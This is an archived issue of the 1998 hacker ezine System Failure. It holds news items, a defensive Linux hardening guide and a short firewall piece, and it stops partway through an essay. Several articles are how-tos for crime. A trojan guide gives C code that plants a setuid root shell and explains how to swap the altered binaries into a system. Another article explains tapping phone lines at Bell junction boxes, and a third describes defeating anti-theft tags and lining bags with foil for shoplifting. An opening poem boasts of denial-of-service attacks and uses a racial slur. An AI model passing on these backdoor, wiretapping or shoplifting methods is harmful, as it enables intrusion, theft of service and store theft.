💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › SYSFAIL › sysf0… captured on 2021-12-04 at 18:04:22.

View Raw

More Information

-=-=-=-=-=-=-

       -> he comes through again?
                                                       ,x�`'�x,
                       ,sS    Ss,        ,sS'` 'Ss,    `"�%%�"'
              ,sS'` 'Ss$$:   $$sS'` 'Ss$$:   $$sS'` 'SssS
              $$:" """"""" " $$$:" """"""" " """""" " $$:
              `""""^%ggggg. ` ```""""^%ggggg%^"" ",g#"' `7$$:
             .ggg.   $


"""^%ggggg.  `'�����'    $$:   $$:  .ggg.
              $$:   $$:     $$$:    `����     $$:   $$:   $$
           << ${body}gt;>  ${body}lt;<    $${body}gt;>    ���'     ${body}gt;>  $$<<  $$ >>
              $$:   $$:     $$$:    ,��:      $$:   $$:   $$
          ::: $$:: :$$:: :::$$$: : ,����,  :::$$::: $$: ::$$ :::
              $$:   $$:     $$$:  ,������     $$:   $$:   $$
              $$:   $$:``""""���"''`������'     $$:` `""""''  $$
              `"��%%��"'        `"��%%��"'        `"��%%��""��%%��"'
      ..>> system failure.                 anarchist / satire

����������������������������������������������������������������������������Ŀ
�                          System Failure: Issue #8                          �
������������������������������������������������������������������������������
Yoyoyoyo and stuff. Happy New Year. Here's issue 8, we barely made it on time,
but we've got some cool stuff in here. Sysfail.org was down for awhile due to
hardware problems at amer.net, but we're back with a completely new look. Be
sure to let us know what you think of our changes to the site, and keep those
submissions coming. Saint skullY the Dazed has been added to the group as
well, and also hosts our shell server (shell.sysfail.org). Enjoy the issue,
and I'll see you again in System Failure #9.
                                                        --Logic Box [1/30/98]
����������������������������������������������������������������������������Ŀ
�                           http://www.sysfail.org/                          �
�                        [sysfail@linux.slackware.org]                       �
������������������������������������������������������������������������������
                           eyem elite! (c) dh 1997

               eye am a haxor so elite
               i have mad juarez at my feet
               i own your b0x left and right
               yoh fbi, ill put up a fight!

               as i ssping you with my packet juar4z
               you try to find an ircOP that cares
               as you reboot ur box, you think
               why did i have to mess with this chink

               you try and report denial of service, but logs dont count
               five more packets and ur connection is out.
               you get pissed and start to shout
               THIS MOTHER FUCKER IS ONE BAD SCOUT!

               try and turn me into the fbi
               cause i keep making joo cry
               with my bringing your network down like a rock
               because you had to go off and be a c0ck!

               i hear the fbi at my door
               i rm my juarez, so they dont score.
               they look confused with their frizzy hair,
               they say this is just some kid, with no care.
               Mother fucker, you think you've won.
               but i have just begun.....

                     --- dh,.
����������������������������������������������������������������������������Ŀ
�                                  CONTENTS                                  �
� SysInfoTrade                                                   by Pinguino �
� Basic Linux Security                                          by Logic Box �
� Understanding Bell Boxes                                      by DataStorm �
� Firewalling Your Linux Boxen, Part 3                          by Dr. Seuss �
� A Guide to Trojans                                          by Kortex Bawm �
� Evading Anti-Shoplifting Devices                                 by Spessa �
� Fear of the Unknown                                           by NeWarrior �
� Fraud Force System Technical Interoffice Data                      by DDay �
������������������������������������������������������������������������������

<-------+
        |  SysInfoTrade
        +----------------> pinguino@leper.org

--Our domains are back up. www.sysfail.org has been fully redesigned, and
we're adding a telnet board and javaIRC. penguinpalace.com is back up and
being redesigned to appear as an umbrella organization for publications.
--DefCon is slated to take place mid August, but at an unknown location.
--ADSL is the new speed everyone's talking about; a quabizillion companies
getting together to make the web a faster place to play with. Here's the url
to see if your area is going to test it:
http://www.adsl.com/trial_matrix.html and for more info go to adsl.com
--Switchboard.com is now offering free email services. You can have a web
account there, or have it forward. They will also give you some cheesy
free webspace.
--Jan 19, 1997. AOL gets into another fight.. against the US Navy!
Apparently the sailor put "gay" on his profile, so he got dismissed from the
military. The sailor's name is Tim McVeigh, and he's suing the Navy with
AOL's support. The Navy says that having "gay" on an electronic profile goes
against their "don't ask, don't tell" policy.
--The birth of "digital phreak p1mps", a brand spankin' new lam-0 phreak
zine.  It can be found at "http://members.tripod.com/~p1mp". The innaugeral
issue is to be released on January 30, so get off your ass and read it!
(info from hatredonalog)
--Can't get enough prank call tapes? Blackout's Box was a voicemail system
which moved to realaudio.. www.blackout.com
--Are you a "suspicious PERSON????" The Computer Assisted Passenger Screening
System (CAPS) might think so! When TWA's plane went down, the government set
up this system to tag people who fit the profile of a terrorist based on
40 pieces of data. This does not include race or religion. For personal story
of someone who was randomly chosedn a few times, check this out:
http://www.slate.com/FineWhine/97-05-24/FineWhine.asp
--US West is considering a split into two companies, US West Communications
and US West Media group. Communications is the phone company, and Media is
cable and DEX.
--US West is teaming up with Cisco, Williams, and Intermedia to complete its
"Next Generation National Data Network."  Their goal is to offer full network
services outside their 14-state limit, being the first BOC to do so. They want
to offer applications utelizing IP telephony, fax systems, and multimedia.
By partnering with Intermedia, US West gains 142 additional data switches
and over 385 network-to-network interfaces(NNI).
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                             Basic Linux Security
                   by Logic Box (logic@linux.slackware.org)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Security is a major headache for many a Linux user. Whether you've just
installed your shiny new distribution of Slackware or (god forbid) Redhat,
or you've been running Linux for awhile, chances are security is an issue to
you if have any desire at all to keep your Linux box in one piece.

I'm not some mighty security wizard, nor do I claim to be. I've only been
using Linux for about nine months at the time of this writing, and I still
have a lot to learn. Several of my suggestions in this article will
reiterate--and build on--the points made in Saint skullY's article from System
Failure #5. skullY (along with kadafi, drs, and vel0city, thanks guys) has
been one of the most helpful people to me in the short amount of time I've 
been using Linux, so it would be difficult to write any sort of security
article without mentioning some of the things that I've learned from him. I
just thought it'd be a good idea to compile all my limited security
knowledge into one place. So, here goes.

The following information is applicable to pretty much any Linux system,
though I'd recommend it for Slackware users in particular, since that's the
distribution that I gathered all of this information with (Slackware 3.4
running the 2.0.33 kernel, specifically). If you aren't running Slackware,
you can get it at ftp://ftp.cdrom.com/pub/linux/slackware/


The Inet Daemon
---------------
The Inet daemon (inetd) is started at boot time and controls what services
are available on your system. You'll want to edit the inetd configuration
file (stored in /etc/inetd.conf) and weed out a few of the more needless
services.

A large majority of the services listed in inetd.conf are of no use to an
everyday Linux user, and several of them pose dangerous security hazards.
Unnecessary services should be commented out, after which inetd should be
restarted (killall -HUP inetd).

The only service that is absolutely needed is auth, which allows servers to
verify your identity via identd requests. Auth operates on port 113. If you
plan on giving out shell accounts, you might also want to enable telnet and
ftp. Pop3 and smtp services are unnecessary unless you plan on running a mail 
server, and the other services are needless as well. If for some reason you 
want to change the ports on which enabled services may be accessed, you can 
edit them in /etc/services.


The Syslog Daemon
-----------------
The Syslog daemon (syslogd) is also started at boot time. It controls where
system log files are saved, and what sorts of activities are to be logged.
Its configuration file is stored in /etc/syslog.conf, and some quick
editing of it will make monitoring your system logs much more efficient.

First of all, you'll want to save your system logs to files. To do this, add
the following lines to your syslog.conf file (make sure to use tabs, not
spaces):


	
.*                                             /var/log/all


local5.*                                        /var/log/tcplog
local4.*                                        /var/log/icmplog
kern.*                                          /var/log/kern
daemon.*                                        /var/log/daemon
auth.*                                          /var/log/auth

	
.=debug                                        /var/log/debug

	
.=info;*.=notice                               /var/log/messages

	
.warning;*.err;*.crit;*.alert;*.emerg          /var/log/syslog



This will log most important information to text files, which you will be
able to review at your discretion. In addition, it is also very handy to
have a running activity log that you can view quickly and frequently. To
allow this, add these line to syslog.conf:


	
.*                                             /dev/tty7


local5.*                                        /dev/tty8
local4.*                                        /dev/tty9
kern.*                                          /dev/tty10
daemon.*                                        /dev/tty11
auth.*                                          /dev/tty12

This will display all system activity on tty7 (Alt-F7), and it will also be
saved to /var/log/all, as shown above. TCP logs will be displayed on tty8,
with ICMP logs on tty9. Kernel messages will output to tty10, daemon
messages to tty11, and auth messages on tty12. This is very useful for 
diagnosing problems quickly. If you're using tty7-12 for something else, 
redirect the output to tty13-18 (or whatever) instead, which may be accessed
through the use of the right Alt key. After you've made changes to your 
/etc/syslog.conf file, restart syslogd (killall -HUP syslogd).

I would also suggest running tcplog and icmplog at all times. They will
monitor TCP and ICMP connections to your machine, which will be displayed in
the syslog.


File and Directory Permissions
------------------------------
Now comes the fun part. SUID bits. SUID stands for Set User ID. Each user on
a Linux machine has their own unique user ID (UID), which can be changed
through the use of /bin/su. This can be an extremely dangerous program if
you don't know what you're doing.

There are many files on a Linux machine which require root privileges to
run. su is one of these programs, as are passwd, ping, strace, and several
others. When executed, such programs temporarily switch the user's ID to 0
(root), and then switch the UID back to its normal number when it is
finished. You can check to see if a file has a SUID bit on it by doing an ls
-la in a directory, and examining the file permissions. An "s" anywhere in
the file permissions means that the program sets UID 0 when executed. For
example:

-rws--x--x   1 root     root        32196 Jan  3 21:38 /usr/bin/passwd*

The passwd file has a SUID bit, and changes the UID to 0 when it is executed
to change a user's password. This is necessary because only root has the
authority to change passwords, so the user is given temporary superuser
status while changing his password.

This is all good and well, but there are a great many exploits that can
create buffer overflows in SUID root programs, causing a premature exit and
spawning a root shell. Good examples of this are lpr, mount, and umount.

In order to protect against SUID exploits, it is advisable to remove the
SUID bits from most of the files on your Linux machine (chmod a-s filename).
The only programs which absolutely MUST have a SUID bit in order to operate
correctly are /usr/bin/passwd and /bin/su, as well as /usr/bin/sudo if you
use it (I don't). A quick way to scan your system for SUID root files is:

find / \( -perm -4000 -o -perm -2000 \) -exec ls -ldb {} \;

Unless you place implicit trust in everyone you give accounts to, it is also
unwise to allow free access of /bin/su to everyone. I would strongly suggest
creating a su group. Change group ownership of /bin/su to su (chgrp su
/bin/su), change its file permissions to allow only those in the su group to
access it (chmod o-x /bin/su), and add the following line to /etc/group:

su::1002:root,user1,user2,user3

Replace user1, user2, and user3 with appropriate login names of those who
should have access to /bin/su; add as many login names as you need to,
separated by commas. The su group's group ID (GID) is 1002, though you can
change this if you like.

As stated previously, passwd and su are the only programs on your system
that need to be SUID root to work. Their file permissions should look
similar to this when you are finished, with no other SUID root files on your
system:

-rws--x--x   1 root     root        32196 Jan  3 21:38 /usr/bin/passwd*
-rws--x---   1 root     su          29784 Dec  9 21:35 /bin/su*

Another thing you might want to do is disallow others to access /root (chmod
700 /root), since sensitive files are often kept there.


Preventing Unwanted Logins
--------------------------
One thing you definitely do NOT want people to have the option to do is to
log in remotely as root. The /etc/securetty file controls which ttys are
allowed to log in as root. ONLY the console and local ttys (tty1, tty2,
etc.) should be allowed to log in as root. Remote ttys (ttyS0, ttyS1, ttyp0,
ttyp1, etc.) should not be allowed to log in as root. Comment these ttys
out. After being edited, your /etc/securetty file should look something like
this:

console
tty1
tty2
tty3
tty4
tty5
tty6
#ttyS0
#ttyS1
#ttyS2
#ttyS3
#ttyp0
#ttyp1
#ttyp2
#ttyp3

Another thing you might want to do (depending on how paranoid you are) is to
control what hosts are even allowed a login prompt on your machine. The
/etc/hosts.allow and /etc/hosts.deny files control this. You should add the
following line to /etc/hosts.allow, regardless of whether or not you want to
restrict access:

ALL:127.0.0.1

127.0.0.1 is the localhost (your computer). You can test out various
services such as telnet or ftp by connecting to yourself and logging in,
which would be impossible without this line in /etc/hosts.allow.

Now, if you're the paranoid type like me and you want to restrict who can
access your machine, first add this line to /etc/hosts.deny:

ALL:ALL

Trusted hostnames may then be added to /etc/hosts.allow. For instance, if
you've created an account for someone from cool.isp.net, you would add this
line to /etc/hosts.allow in order to allow that person to log in:

ALL:cool.isp.net

Dynamic hostnames are a bit trickier, though they don't present too much of
a problem. Let's say, for example, you wanted to allow someone from PSI.Net
to log in to your machine. That's all good and well, except for the fact
that their hostname is ip170.mountain-view.ca.pub-ip.psi.net and changes
evertime they connect to their provider. So, we'll allow for all PSI.Net
users within California to reach a login prompt by adding the following line
to /etc/hosts.allow:

ALL:.ca.pub-ip.psi.net

Restricting login access isn't terribly necessary, unless you are
administrating a machine for a corporation or you're just paranoid. :)


Boot Files
----------
Several files are executed at boot time, which are stored in /etc/rc.d.
These files run daemons, execute startup and shutdown scripts, and perform
custom-tailored actions specified by the administrator.

A couple of these files (/etc/rc.d/rc.M and /etc/rc.d/rc.inet2) call some 
daemons that are probably not necessary for you to run. If you do not plan to 
run a mail server, edit /etc/rc.d/rc.M and comment out the lines that refer 
to the sendmail daemon.

# Start the sendmail daemon:
# if [ -x /usr/sbin/sendmail ]; then
#   echo "Starting sendmail daemon (/usr/sbin/sendmail -bd -q15m)..."
#   /usr/sbin/sendmail -bd -q15m
# fi

Similarly, if you aren't going to run a webserver, comment out the lines in
/etc/rc.d/rc.M that refer to httpd.

# Start Web server:
# if [ -x /etc/rc.d/rc.httpd ]; then
#   . /etc/rc.d/rc.httpd
# fi

Some of these lines may be nonexistent or already commented out in your
/etc/rc.d/rc.M file if you have not installed the corresponding software
packages.

Next, edit /etc/rc.d/rc.inet2 and comment out the two sections referring to
SUN RPC. You might also want to disable the printer spooler daemon. When you
are finished editing rc.inet2, these three sections should look like this:

# Constants.
NET="/usr/sbin"
IN_SERV=""
LPSPOOL="/var/spool/lpd"

# Start the SUN RPC Portmapper.
#if [ -f ${NET}/rpc.portmap ]; then
#   echo -n " portmap"
#   ${NET}/rpc.portmap
#fi

# # Start the various SUN RPC servers.
#if [ -f ${NET}/rpc.portmap ]; then
#  # Start the NFS server daemons.
#  if [ -f ${NET}/rpc.mountd ]; then
#    echo -n " mountd"
#    ${NET}/rpc.mountd
#  fi
#  if [ -f ${NET}/rpc.nfsd ]; then
#    echo -n " nfsd"
#    ${NET}/rpc.nfsd
#  fi
##  # Fire up the PC-NFS daemon(s).
##  if [ -f ${NET}/rpc.pcnfsd ]; then
##    echo -n " pcnfsd"
##    ${NET}/rpc.pcnfsd ${LPSPOOL}
##  fi
##  if [ -f ${NET}/rpc.bwnfsd ]; then
##    echo -n " bwnfsd"
##    ${NET}/rpc.bwnfsd ${LPSPOOL}
##  fi
#fi # Done starting various SUN RPC servers.

Disabling the abovementioned services will close off a number of unneeded 
ports, limiting the number of ports that people can connect to and thereby 
reducing the number of security hazards.


Mounting Other Filesystems
--------------------------
It is not advisable to mount your DOS or (ugh) OS2 filesystems in publicly
accessible directories. Create directories in /root for these filesystems,
and mount them accordignly in /etc/fstab. For example, you might create a
/root/dos directory where /dev/hda1 (your DOS partition) is to be mounted,
and add the following line to /etc/fstab to mount it correctly:

/dev/hda1       /root/dos  msdos   defaults        1       1


Firewalling
-----------
While not absolutely necessary, firewalling can help a great deal to keep
unwanted things such as denial of service attacks at bay. I don't know much
about firewalling, but a lot of what I do know was learned from Dr. Seuss's
article "Firewalling Your Linux Boxen, Part 1: A Stand-Alone Firewall" from
System Failure #6 (http://www.sysfail.org/). Please refer to that article
for instructions on how to set up a basic firewall.


Passwords
---------
Passwords are annoying things. Fortunately, recent Linux releases (Slackware
at least) make some attempt to guard against password cracking. Users will
be warned when attempting to create weak passwords, and on some machines,
they won't even be allowed to use a password that the system deems weak. It
is advisable to use strong passwords, with a combination of numbers and
letters (upper and lower case), and a length of no less than six characters.

Shadowed passwords are also recommended. Recent Linux releases also come
with this enabled by default. Shadowed passwords are much more difficult to
crack, and could possibly save you quite a few headaches. If you don't have
the Shadow Password Suite, get it at
ftp://sunsite.unc.edu/pub/Linux/system/admin/ (shadow-971001.tar.gz was the
latest at the time of this writing) and install it.


Staying Updated
---------------
After following all of the above suggestions, the best way of keeping a
reasonably secure system would be to stay updated. Always run the latest
Linux kernel (2.0.33 was the latest at the time of this writing), keep your
libc files recent, keep your programs up-to-date, and make yourself aware of
new security exploits as they are found. The following links will help you
to accomplish this.

ftp://sunsite.unc.edu/pub/Linux/
ftp://tsx-11.mit.edu/pub/linux/
ftp://ftp.cdrom.com/pub/linux/
ftp://ftp.kernel.org/
http://www.linux.org/
http://www.ecst.csuchico.edu/~jtmurphy/
http://www.users.interport.net/~reptile/linux/
http://www.geek-girl.com/bugtraq/

This article is only an introduction to Linux security. Following these
suggestions will give you a reasonably secure system, and will keep your box
out of the hands of idiot wannabes seeking to screw you over.

Much thanks goes to Kadafi, Dr. Seuss, Saint skullY the Dazed, and vel0city.
I never would have been able to write this article without them, nor would I
have ever gotten as far as I have with Linux. If you've got questions or
comments about this article, feel free to e-mail me.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                           Understanding Bell Boxes
                         by DataStorm (havok@tfs.net)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
I have found the usual texts on Bell system boxes vague and somewhat old, and
overall not very useful in the field. Because of this I have decided to write
my own, a more up-to-date and precise version if I do say so. Keep in mind
that this text is based around MY experiences with Southwestern Bell's
equipment, your RBOC may have different equipment or may label theirs
differently. Also, this text is NOT complete by any means, but should give you
enough information to get what you want.

Bell boxes differ as much in color and shape as they do in location and
operation. The easiest and perhaps the safest box to beige off of is the
CUI (Customer User Interface). This box is located at the side (sometimes the
basement) of 99% of buildings that have telephone service. This box is
divided into two sections, the customer test side, and the Bell service side.
The customer test side is opened with a philips screwdriver, and contains one
or many RJ-11 female sockets. This side was designed for use by the customer,
to test if a problem in their phone service is the customer's or Bell's
problem. Fortunately, most everyone has no idea that this box exsists, let
alone what it is used for. The Bell service side is pretty much useless to
phreaks, so don't worry about it. You should be able to phreak from this box
with no problem, so that is all I am going to say about it.

Leaving the safety of the customers' property and exploring the vastness of
the field, the next box I am going to discuss is the SPL, or splice box. This
box is about 2 1/2 feet high, and about 4 inches wide and deep (although I
have seen them twice as big, and in odd shapes such as cylinders). You will
know it is a splice box because it will have large letters on the front that
say "SPL". Find a secluded box, wait until night, and open it up. Inside is an
array of wires of all different colors. When I first started working with Bell
boxes, I about died looking in one of these for the first time. I expected a
neatly organized board with only the four standard pair colors, and screws
where I could screw in my beige. It wasn't until a few months later that I
actually found out how to use one of these. The wires ARE in pairs, but they
are in different colors for each pair, because so many pairs come though these
boxes (these boxes are used to seperate sections of cable, in case a cable
breaks they don't have to replace three miles of cable). This is the actual
telephone cable you are looking at, which I presume heads on to a cross box,
but I will disscuss that later. Below is a list of all of the colors and
their corresponding color to form a pair. To phreak on these boxes requires
you to do some damage. Of course, you probably don't care unless you're the
Bell tech doing the fixing.

Pair #  	Tip		Ring
--------------------------------------
1		White		Blue
2		White		Orange
3		White		Green
4		White		Brown
5		White 		Silver
6		Red		Blue
7		Red		Orange
8		Red		Green
9		Red		Brown
10		Red		Silver
11		Black		Blue
12		Black		Orange
13		Black		Green
14		Black		Brown
15		Black		Silver
16		Yellow		Blue
17		Yellow		Orange
18		Yellow		Green
19		Yellow		Brown
20		Yellow		Silver
21		Purple		Blue
22		Purple		Orange
23		Purple		Green
24		Purple		Brown
25		Purple		Silver

On some telephone poles (usually right outside of a business), there are small
silver boxes (about the same size as the CUI). These boxes are made out of
aluminum and usually have one or two lines in them. Beiging from these boxes
is extremely easy; you just have to clip on and dial away. Be aware, though,
that these boxes are almost always located next to a street or busy area, and
you may have trouble using one carefully.

Most similar to the splice box, the next box I am going to talk about has no
proper name, at least to me. Call them whatever you like. I have heard Bell
technicians call them "pedestals" but that term can be used to describe many
different forms of Bell boxes. This box is the same size and shape as the
splice box, but is much different inside. Inside there are rows of screws,
just waiting for you to clip them with your beige box. A phreaker's dream if
you ask me. I don't know very much about them so this is as far as I go on
that topic.

The next type of box I am going to talk about is the infamous cross box. These
things are big. If you see a large green box that has the letters XBOX on it,
rest assured it is a cross box. These boxes are almost always out in the open,
and I would be careful when phreaking from one of these. From what I have seen
(and discussed with Bell technicians), the inside of these boxes resemble
punchdown blocks, each wire in its own cozy punchdown. If you have access to
the inside of these, you have access to A LOT [Editor's note: THERE KAD, ARE
YOU HAPPY? ;)] of phone lines. The lines are sometimes labled on the inside of
the swing-open doors, and Bell technicians sometimes leave tools and other
goodies inside of these. These boxes shouldn't be too hard for you to phreak
from--that is, if you can get access to one.

Moving right along. At the top of a telephone pole that services a house is an
array of lines, sometimes even extra lines. All that would be needed to get
your own second phone line at no charge is some wire, some coupling tools, and
some balls. I wouldn't be supprised if Bell noticed after awhile though
(actually I would be suprised if they DIDN'T notice).

Last but not least, I am going to tell you about the most powerful--and most
dangerous--phreaking tool there is. This is your local switch. Imagine it,
you walk in with your lineman's handset, and conveniently plug into ANY line
in the whole town. Better yet, go to your local AT&T or Sprint tandem switch.
You now have hundreds of lines available for you to access. Actually I
wouldn't reccomend doing anything in this last paragraph, or you may go to
jail forever.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Firewalling Your Linux Boxen, Part 3: Firewalling in Relation to Masquerading
                         by Dr. Seuss (drs@monks.net)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
<PREFACE>
This article was intended to have information about firewalling in relation to
IP masquerading, and some cool firewall scripts. Unfortunately I suffered a
huge HD crash this week, losing the article and all the scripts, therefore all
you get is the IP Masquerading part. Check out SysFail #9 for my scripts
article.
</PREFACE>

If you don't know what IP Masquerading, is this article isn't for you.

When using Linux to masquerade a LAN you must consider a few things when
constructing a firewall. First you want to make sure that your firewall
doesn't restrict your LAN machines from accessing the internet or services on
your local machine.

For example, if you are running samba on your local machine to share data with
the Windows machines on your LAN, then the following rule for Firewall part 1
would also deny your local LAN.

ipfwadm -I -a deny -P tcp -S 0/0 -D 0/0 139 -o

In order to repair this, we have two choices. One is to add a -W ppp0 to make
it only apply to the ppp0 interface (e.g. packets not coming from the LAN), or
add this line above the existing line.

ipfwadm -I -a accept -P tcp -S 192.168.1.0/0 -D 0/0 139

Assuming your LAN is using 192.168.1.0/24 as its block of IPs that would
allow your LAN to communicate to your box, but still deny the outside world.

Check the other rules you are currently implementing and make sure they do not
interfere with the operation of your masqueraded machines.

The next thing you are going to want to do is make sure no one from the
outside can spoof their IP to connect to your machine, so add this line in.

ipfwadm -I -a deny -S 192.168.1.0/24 -D 0/0 -W ppp0 

That will deny all traffic claiming to be from your local LAN.

The main thing to remember is to carefully check rules before placing them,
and understand what they do before you place them.

<APPENDIX>
Sorry about the shortness of this article, but as I stated above, the majority
of it was going to be on firewall scripts. Oh well, stay tuned to SysFail, and
look for the scripts in the next issue.
</APPENDIX>
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                              A Guide to Trojans
                     by Kortex Bawm (k0rtex@hotmail.com)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
In case you aren't too bright, this article is about making and implementing
trojans on a UNIX type system. For this you should only need:

- A decent knowledge of a UNIX type system.
- Access to code for a common command/program run.
- A basic knowledge of the programming language C.

Definition
----------
Something is wrong with people today. No one gets the trojan definition right.
Everyone thinks its a type of virus. It can be, but normally, they aren't. By
definition from some dictionary I found at my house:

trojan (tro'jen): designed for one purpose, this purpose being cloaked by an
other which is not the actual purpose.

That's not the actual thing, I translated it into something real people could
understand. You get the picture.


Why Are Trojans Nice?
---------------------
Just because they are. A trojan can backdoor a system, get you root after
you've lost it, just plain get you root, and whatever else you can come up
with. The best reason is actually because of the fact that you must use
imagination to make one. They are just plain neato leeto reeto freeto caneeto.
Anyway, they will help a lot, regardless how experienced you are in hacking.


In The Beginning
----------------
There are several things you must do before being able to start. If the trojan
is really important, do some research. See what root runs all the time, or
what other superusers do. Now, try to find the code for it. Shouldn't be too
hard for most Linux commands, or things such as ircII or BitchX. Many people
put their trojan into the code for other things, such as telnetd and login.
This can be good, but it somewhat limits your ability of what you can do. It's
your choice, though. If you can't find the code for what you want, try
something else.

ftp://prep.ai.mit.edu/
^- A good place to get source for just about everything.


Making The Trojan
-----------------
Once you have the code, open it up. Here's where the knowledge of C comes in.
Most every thing you are going to run is going to have its own header files
(#include files), and you need to know where they should be when you compile
it.

Anyway, once you have the code open, you need to find a good place to insert
the trojan into the code. If it is a command, or something of that sort, I
would put it near the end of it, just before the exit/return function that
would end it. If it is another type of program, such as ircII, or some other
common program run by everyone, I would insert in near the beginning, when it
would open. It's all up to you though.

Depending on what you want the trojan to do, you may want to check if they
have uid 0 (root). That can be done with a simple line like:

if (getuid() == 0)

If you won't need root to execute the trojan (rare), you won't need that line.
Most trojans need/will work better with root access. Once you've established
if they have uid 0, you can move on to executing the trojan itself.

You know what you need the trojan to do. Normally it will only be a few short
commands and its done. Anyway, this can be done in two basic ways (at least
that I can think of). One, you can make a shell script (.sh file) and just
get the trojan to run it, using something like:

system("sh /home/mydir/myshellscript.sh");

In my opinion, using a shell script is about the stupidest thing you can do.
If root finds the trojan, he will most likely know who owns that shell script
(you), and cancel your account. The other would be to just straight out
execute the commands in the code. All you really have to do is add a few
system(); functions and it should work fine. Here's an example trojan (only
the trojan part):

  if (getuid() == 0) {
    system("cp /bin/sh /tmp/vi.save");
    system("chown /tmp/vi.save");
    system("chmod 4755 /tmp/vi.save");
    wait(2);
  }

That's pretty basic. The wait(2); function is optional. I just add it so
whoever runs it will think the computer is working real hard, since the copy
etc might take a little while on slow systems (btw, this creates a root shell
at /tmp/vi.save - note: this backdoor is common and easy to find, I suggest
not using that).


Implementing the Trojan
-----------------------
This is the easier part. There is really only one bad thing about trojans.
For most everything you trojan you will most likely need to already have bin
access, or some type of high level access so you can replace the old one. Even
ircII and BitchX are normally stored in the /bin directory if they are system
wide accessible.

Of course, compile the new code. After its compiled, just transfer it into the
directory it belongs, and hope a superuser runs it soon. Also, its a good idea
to keep a backup copy of the original binary file so you can replace it once
the trojan is activated. Optional though, of course.


The End Or Something
--------------------
Uhmm, that's the end or something. Any other questions mail to
k0rtex@hotmail.com ... Hope you might have learned something, probably not
though.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                       Evading Anti-Shoplifting Devices
                       by Spessa (spessa@phreakers.org)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
In department stores, most expensive clothing items are protected by sensor 
tags. Yet often these aren't really sensors at all, but little containers 
which hold two glass tubes of ink. You can distinguish these tags from actual
sensors by examining the tag closely. Usually, the tag will just say "WARNING!
Any attempt to remove this tag will result in an explosion of glass and ink.
Do not remove!" Well, this warning is a total exaggeration; if you move the
top of the tag in a fashion which puts pressure on the glass tubes, they will
break and ink will flow onto the garment and your hands.

Little pieces of glass will NOT fly all over and disfigure you, don't worry.
If the item is of light color, you'll most likely have a permanent stain. So,
don't attempt removal of such in a dressing room! You'll come out with purple
and yellow on your hands, and the dressing room attendant (if there is one) 
will probably call Loss Prevention to follow you around for the rest of your
visit to the store. You may even be detained for destroying store property.
So, what can you do? Since these types of tags aren't going to set off a
signal when you leave the store, conceal the item and do your work at home.
At least in the privacy of your own room no bitchy store employee will freak
out about ink all over your hands.

Once home, take off the warning sticker. On some models, once the sticker is
off you can clearly see where the two tubes are and where you're going to need
to saw. Other models require closer inspection between the two pieces which
are joined by a metal pin. Once you've determined how the tubes of glass are
lying, take a small, fine-toothed hacksaw (less than five bucks and worth
every penny) and saw directly down the middle of the tubes. Saw through the metal pin and 
within moments the top and bottom pieces are separated. Put whatever ugly
article of clothing you acquired on and be proud of yourself.

But what about when you encounter actual sensor tags? These will not give you
any warning about glass and ink, but will trip an alarm as you exit the store.
Unless you live in an igloo in Antarctica, you've seen these sensors before.
What isn't heavily advertised though, is that older models of sensor tags and
alarms can be easily defeated. Your only problem is determining the age of the
system that your store has installed. If you know the history of the store,
and you remember when they implemented such devices, you can figure out if
this trick is worth your time. Anything older than a year at the time of this
writing (January 1998) is worth looking into.

First, to see if this will work at the store of your choice, arm yourself with
some aluminum foil. Just a little should do. Go into the store and remove one
of their tags from an item on the shelf. It wouldn't hurt to take two, just in
case one was deactivated accidentally. Go into a store restroom and LOOSELY
wrap your sensor(s) in the aluminum. Then try exiting the store. This is
sounding risky, but of course you're not going to try this with a new alarm
system, so the risk is highly diminished. If the alarms don't start wailing
and three security guards don't tackle you, go back into the store and see if
you trip the alarm again. If not, you've most likely found sensors which use
a frequency that aluminum disables.

If you're female, you can use a purse that has an aluminum lining. No, you
can't buy these; you have to make one yourself. Take the cloth lining out of
your purse and coat the inside of the purse with two layers of aluminum. Then
utilize your mad sewing skills and sew the cloth lining back in. You've got to
be very careful with this purse because it WILL make that "aluminum-crunching"
noise if you hit it up against something. Men can do basically the same thing
in jacket or pants pockets. Or, you can make your own "shop(lift)ing bag" by
making a false bottom (coated with aluminum, also) on a bag from another
store. This works particularly well in malls. The motive to this insanity is
so that you don't have to peel any of those obnoxious stickers off items or
fuck around with something you want to steal before you steal it. Less time
that you have the object in your possession in plain view is less time that
someone can see you with it. Good luck.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                             Fear of the Unknown
         by NeWarrior (e-mail sysfail@linux.slackware.org to contact)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Perhaps you see us walking down the street. Most of the time, we'll be on the
other side of the street, though, because you've already crossed to get away
from us. Perhaps you see us sitting in the dark corner of a coffee shop,
reading the newest issue of Sandman, or Poppy Z Brite's latest novel. You sit
and stare at us. Or, perhaps you wander into a club one night, and run into
one of us, wearing a long, flowing black skirt as we cotton-pick our way
